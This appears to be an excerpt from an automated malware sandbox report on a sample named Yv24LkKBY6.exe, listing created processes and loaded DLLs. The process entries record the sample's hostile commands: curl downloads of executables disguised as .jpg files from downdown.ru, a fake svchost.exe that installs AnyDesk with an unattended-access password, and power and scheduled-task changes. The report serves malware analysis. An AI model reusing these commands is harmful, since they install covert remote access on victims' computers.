Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-service
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-control
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -h off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Intel\dc.exe "C:\Intel\dc.exe" /SYS 1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: globinputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\driver.exe	Section loaded: apphelp.dll
Source: C:\Intel\driver.exe	Section loaded: edgegdi.dll
Source: C:\Intel\driver.exe	Section loaded: windows.storage.dll
Source: C:\Intel\driver.exe	Section loaded: wldp.dll
Source: C:\Intel\driver.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\driver.exe	Section loaded: uxtheme.dll
Source: C:\Intel\driver.exe	Section loaded: propsys.dll
Source: C:\Intel\driver.exe	Section loaded: profapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: version.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: wininet.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: edgegdi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: uxtheme.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: windows.storage.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: wldp.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: textshaping.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: dwmapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: apphelp.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: iertutil.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: sspicli.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: profapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: winhttp.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: mswsock.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: winnsi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: urlmon.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: srvcli.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: netutils.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: dnsapi.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\Trays\Trays.exe	Section loaded: explorerframe.dll
Source: C:\Intel\svchost.exe	Section loaded: apphelp.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: sxs.dll
Source: C:\Intel\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Intel\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: apphelp.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: version.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: edgegdi.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Intel\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Intel\svchost.exe	Section loaded: fwbase.dll
Source: C:\Intel\svchost.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Intel\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Intel\svchost.exe	Section loaded: netapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: netutils.dll
Source: C:\Intel\svchost.exe	Section loaded: wkscli.dll
Source: C:\Intel\svchost.exe	Section loaded: srvcli.dll
Source: C:\Intel\svchost.exe	Section loaded: netprofm.dll
Source: C:\Intel\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\svchost.exe	Section loaded: mswsock.dll
Source: C:\Intel\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\svchost.exe	Section loaded: thumbcache.dll
Source: C:\Intel\svchost.exe	Section loaded: policymanager.dll
Source: C:\Intel\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: dpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: apphelp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: firewallapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dnsapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: rsaenh.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netutils.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wkscli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netprofm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: npmproxy.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: mswsock.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: napinsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: pnrpnsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wshbth.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: nlaapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winrnr.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: hnetcfg.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: atl.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: userenv.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: gpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: thumbcache.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: policymanager.dll
